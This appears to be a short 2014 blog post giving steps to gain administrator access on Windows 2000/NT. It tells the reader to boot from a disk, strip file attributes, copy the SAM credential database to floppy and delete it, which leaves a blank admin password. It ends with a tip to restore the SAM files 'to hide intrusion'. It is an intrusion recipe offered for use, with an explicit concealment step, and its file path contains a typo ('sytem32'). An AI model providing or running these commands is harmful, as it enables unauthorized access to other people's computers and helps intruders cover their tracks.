Wednesday 8 October 2014

Login as Admin in Windows 2000

NOTE: Requires a boot disk.




To Login as an administrator in Windows 2000 or Windows NT, follow these steps:-

  1. Boot through Windows 2000 disk.
  2. Open Command Prompt and goto C:\winnt\sytem32\config\ and type these commands:

  • attrib -a -r -h
  • copy sam.* a:\
  • del Sam.*
Now, Reboot the computer. There should be no administrator password. Just put in "administrator" and hit enter. 
Tip: Replace the "sam" files to restore the password to hide intrusion.

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